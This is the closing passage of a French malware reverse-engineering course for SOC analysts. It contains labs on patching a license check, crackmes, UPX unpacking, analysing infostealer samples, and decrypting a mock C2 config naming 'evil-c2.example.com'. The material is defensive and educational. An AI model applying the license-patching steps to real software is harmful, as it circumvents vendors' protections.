// Le strcmp retourne 0 si égaux → ZF=1 → la condition 'if (check_license)' utilise ça
// Dans main(), après l'appel à check_license :
//   TEST EAX, EAX   ; ZF=1 si retour = 0 (échec)
//   JZ  skip        ; Si ZF=1 → saute le bloc 'valide'
// Patch : change JZ en JNZ → saute le bloc 'invalide' à la place
```

```
// Ou : change le début de check_license pour MOV EAX, 1 / RET → toujours vrai
```

10.2 Lab 2 — Crackme progressif

Les crackmes sont des petits programmes dont le défi est de trouver le mot de passe ou de patcher l'exécution. Sites recommandés : crackmes.one (niveau 1 et 2 pour commencer).

Stratégie pour un crackme niveau débutant : 1) strings sur le binaire — parfois le mot de passe apparaît directement. 2) Ghidra : cherche strcmp, strncmp, stricmp — les fonctions de comparaison de strings. 3) L'argument 'expected' du strcmp est souvent une constante en .rdata. 4) Si le mot de passe est calculé dynamiquement, utilise x64dbg : BP sur strcmp, lis le contenu de RCX et RDX (les 2 strings comparées) quand le BP se déclenche.

10.3 Lab 3 — Unpacking UPX complet

Prends n'importe quel EXE de ta VM et compresse-le avec UPX, puis unpacks-le manuellement. L'objectif est de pratiquer la méthode ESP décrite au chapitre 5.

Lab 3 — Unpacking UPX guidé

```
# Étape 1 : Créer l'EXE packé
upx.exe -9 lab1.exe -o lab1_packed.exe

# Étape 2 : Vérifier avec DIE
# → Doit montrer 'UPX 3.96'

# Étape 3 : Méthode ESP dans x64dbg
# 1. Ouvre lab1_packed.exe dans x64dbg
# 2. Tu es au début du stub UPX
#    Les premières instructions sont de la décompression LODS/STOS
# 3. Note la valeur de RSP dans le panneau registres
# 4. Clic droit dans Stack view sur la valeur en haut → Hardware BP Execute
# 5. F9 → le stub décompresse...
# 6. Breakpoint déclenché → tu es à l'OEP
# 7. Vérifie : les premières instructions doivent être PUSH RBP / MOV RBP, RSP
#    (prologue de fonction standard) → c'est bien l'OEP

# Étape 4 : Dump avec Scylla
# Plugins → Scylla → IAT Autosearch → Get Imports → Dump → Fix Dump

# Étape 5 : Ouvre le dump dans Ghidra
# → Tu dois voir le même code que lab1.exe non-packé
# → Toutes les fonctions reconnues, les strings visibles
```

10.4 Lab 4 — Analyser un infostealer réel

■ Sources de samples légaux pour l'entraînement

MalwareBazaar (bazaar.abuse.ch) : cherche 'RedLine' ou 'Vidar', filtre par status=verified.

ANY.RUN (app.any.run) : samples publics avec rapports d'analyse et sandbox interactive.

Hybrid Analysis (hybrid-analysis.com) : sandbox gratuite, bons rapports comportementaux.

CAUTION : toujours dans ta VM sandbox isolée. Mot de passe des zips : 'infected'.

Workflow pour ce lab : triage (hash/VT/DIE/FLOSS/PE), puis Ghidra pour identifier les fonctions de vol Chrome, puis x64dbg pour observer en dynamique (CryptUnprotectData, requêtes HTTP), puis extraction des IOCs et rédaction d'un mini-rapport.

Ce que tu dois trouver : au moins l'IP/domaine du C2, les chemins de fichiers ciblés (Chrome, Firefox, crypto wallets), la clé de chiffrement des communications (si présente), et le mutex. Ce sont les IOCs minimum pour un rapport SOC.

10.5 Lab 5 — Extraction de config C2

Beaucoup de malwares chiffrent leur config C2. L'objectif de ce lab est de pratiquer l'extraction de config en combinant l'analyse statique (trouver l'algorithme et la clé dans Ghidra) et un script Python pour déchiffrer offline.

Lab 5 — Config extraction guidée

```
# Créer un faux malware avec config XOR pour l'exercice

# config_builder.py — crée un exe avec config chiffrée
import struct

# Config claire
c2_host = b'evil-c2.example.com'
c2_port = 4444
campaign = b'FR_LAB_2025'
mutex    = b'Global\\Lab5Mutex'

# Chiffrement XOR avec clé 0x5A
key = 0x5A
def xor(data): return bytes(b ^ key for b in data)

# Créer la config chiffrée
config = struct.pack('>H', c2_port)  # Port en big-endian
config += c2_host.ljust(64, b'\x00')  # Host padded
config += campaign.ljust(32, b'\x00')  # Campaign padded
```

```
config += mutex.ljust(64, b'\x00')     # Mutex padded
encrypted_config = xor(config)

print('Config chiffrée (à coller en .rdata dans Ghidra) :')
print(', '.join(f'0x{b:02X}' for b in encrypted_config))

# ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
# Dans Ghidra, tu trouves la boucle XOR avec la clé 0x5A
# Tu identifies le buffer chiffré dans .rdata
# Tu extrais les bytes avec Copy → Byte String

# config_extractor.py — déchiffre la config offline
encrypted = bytes([...])  # Colle les bytes extraits de Ghidra
key = 0x5A                # Clé trouvée dans Ghidra
decrypted = bytes(b ^ key for b in encrypted)

# Parser la config déchiffrée
import struct
port = struct.unpack('>H', decrypted[0:2])[0]
host = decrypted[2:66].rstrip(b'\x00').decode()
campaign = decrypted[66:98].rstrip(b'\x00').decode()
mutex = decrypted[98:162].rstrip(b'\x00').decode()

print(f'C2 : {host}:{port}')
print(f'Campaign : {campaign}')
print(f'Mutex : {mutex}')
```

10.6 Plan de progression sur 6 mois

Le RE s'apprend en pratiquant régulièrement, pas en lisant. Voici un plan réaliste pour quelqu'un qui travaille déjà en SOC :

Mois 1

→ Semaines 1-2 : Setup lab + chapitre 2 (assembleur). Objectif : lire une fonction simple dans Ghidra sans paniquer.
→ Semaines 3-4 : Chapitre 3 (PE format) + Lab 1. Analyser 5 EXE légitimes différents (Notepad, calc, etc.) pour voir ce qu'un PE 'normal' ressemble.

Mois 2

→ Semaines 1-2 : Chapitre 4 (analyse statique). Lab 2 (crackme niveau 1). Objectif : passer 1h sur un sample inconnu et sortir quelque chose de cohérent.
→ Semaines 3-4 : Chapitre 5 (analyse dynamique) + Lab 3 (unpacking). Objectif : unpacker UPX en moins de 15 minutes.

Mois 3

→ Semaines 1-2 : Chapitre 6 + 7. Lab 4 (vrai malware simple). Objectif : compléter un rapport IOC basic sur un sample connu (RedLine, AsyncRAT).
→ Semaines 3-4 : Lab 5 (config extraction) + 2 samples supplémentaires de MalwareBazaar.

Mois 4-6

→ Analyse 2-3 samples par semaine. Varie les familles. Compare tes conclusions avec les rapports publics (ANY.RUN, Hybrid Analysis).
→ Commence à écrire des règles YARA et Sigma. Teste-les sur tes samples.
→ Rejoins des CTFs RE (crackmes.one, FLARE-ON challenge annuel de Mandiant, pwn.college).
→ Lire 'Practical Malware Analysis' (Sikorski & Honig) en parallèle — le meilleur livre du domaine.

Pour aller plus loin

Ce cours t'a donné les fondations. La suite, c'est la pratique. Chaque malware que tu analyses t'enseigne quelque chose de nouveau — une technique que tu n'avais pas vue, un pattern familier dans un nouveau contexte, un outil que tu apprends à mieux maîtriser. Le meilleur analyste n'est pas celui qui connaît le plus de techniques, c'est celui qui pratique le plus régulièrement.

Quelques ressources pour continuer : Practical Malware Analysis (Sikorski & Honig) — la bible, commence par là. OpenSecurityTraining2 (opencourse.training) — cours vidéo gratuits et excellents sur l'assembleur et le RE. MalwareBazaar (bazaar.abuse.ch) — samples gratuits et classifiés à analyser. FLARE-ON Challenge annuel (fireeye.com/flare-on) — challenges RE progressifs de Mandiant. Crackmes.one — pratique quotidienne de crackmes de tous niveaux.

Le RE, c'est 90% de méthode et 10% d'intuition qui vient avec l'expérience.